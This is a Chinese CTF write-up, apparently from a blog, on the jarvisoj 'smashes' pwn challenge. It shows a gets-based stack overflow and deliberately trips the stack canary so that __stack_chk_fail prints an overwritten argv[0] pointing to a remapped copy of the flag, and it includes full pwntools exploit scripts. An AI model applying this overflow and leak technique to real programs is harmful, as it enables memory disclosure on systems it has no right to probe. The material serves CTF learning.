pwn学习-jarvisoj-smashes-利用canary打印信息

下载文件,先检查一下保护机制,开得还挺多的。

反编译一下查看伪代码。

unsigned __int64 sub_4007E0()
{
  __int64 v0; // rbx
  int v1; // eax
  __int64 v3; // [rsp+0h] [rbp-128h]
  unsigned __int64 v4; // [rsp+108h] [rbp-20h]

  v4 = __readfsqword(0x28u);
  __printf_chk(1LL, "Hello!\nWhat's your name? ");
  if ( !_IO_gets(&v3) )
LABEL_9:
    _exit(1);
  v0 = 0LL;
  __printf_chk(1LL, "Nice to meet you, %s.\nPlease overwrite the flag: ");
  while ( 1 )
  {
    v1 = _IO_getc(stdin);
    if ( v1 == -1 )
      goto LABEL_9;
    if ( v1 == 10 )
      break;
    byte_600D20[v0++] = v1;
    if ( v0 == 32 )
      goto LABEL_8;
  }
  memset((void *)((signed int)v0 + 0x600D20LL), 0, (unsigned int)(32 - v0));
LABEL_8:
  puts("Thank you, bye!");
  return __readfsqword(0x28u) ^ v4;
}

_IO_gets(&v3)处有输入点,且没有限制我们的输入长度,存在溢出点。

Canary 设计为以字节 \x00 结尾,本意是为了保证 Canary 可以截断字符串。 泄露栈中的 Canary 的思路是覆盖 Canary 的低字节,来打印出剩余的 Canary 部分。

但是这题中是以gets来进行输入,导致输入是以'/n'结尾,无法将canary打印出来。

这里学习到了一种新姿势,故意触发canary的保护,利用报错来打印出我们想要的信息。

如果canary被我们的值覆盖而发生了变化,程序会执行函数___stack_chk_fail()

void
__attribute__ ((noreturn))
__stack_chk_fail (void) {
	__fortify_fail ("stack smashing detected");
}

void
__attribute__ ((noreturn))
__fortify_fail (msg)
   const char *msg; {
      /* The loop is added only to keep gcc happy. */
         while (1)
              __libc_message (2, "*** %s ***: %s terminated\n", msg, __libc_argv[0] ?: "<unknown>") 
}
libc_hidden_def (__fortify_fail)

__libc_message 的第二个%s输出的是argv[0]argv[0]是指向第一个启动参数字符串的指针.

如果我们的输入能覆盖掉argv[0],那么我们就能打印出我们想要的东西。

文件中还找到了一个疑似flag的东西

偏移量不会计算emmmmm,硬刚吧

from pwn import *
context.log_level = 'debug'

#io = remote('pwn.jarvisoj.com', 9877)
io = process('./smashes')
io.recv()

io.sendline(p64(0x400934)*200)
io.recv()
io.sendline()
io.recv()

当我们输入为0x400934的时候,地址对应的字符串成功被我们打印出来了,但是吧地址换成之前找到的flag的地址时却没有得到flag。

在函数sub_4007E0()最后还有一句代码

memset((void *)((signed int)v0 + 0x600D20LL), 0, (unsigned int)(32 - v0));

0x600D20处的字符串被覆盖为0了,所以打印不出来。

查阅资料后,得知这里考的是ELF的重映射。当可执行文件足够小的时候,他的不同区段可能会被多次映射。也就是说该flag会在其他地方进行备份。

利用gdb的find找到了flag的备份处。

这里还有个小坑,在ida里面找到的flag是以CTF开头,gdb查找flag时找到的地址是0x400d21,如果以这个地址找flag,拿到的flag的不全的,应该是0x400d20,(其实也不算坑,毕竟64位下地址都是8的倍数,果然还是我菜

exp:

from pwn import *
context.log_level = 'debug'

io = remote('pwn.jarvisoj.com', 9877)
#io = process('./smashes')
io.recv()

io.sendline(p64(0x400d20) * 200)
io.recv()
io.sendline()
io.recv()
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值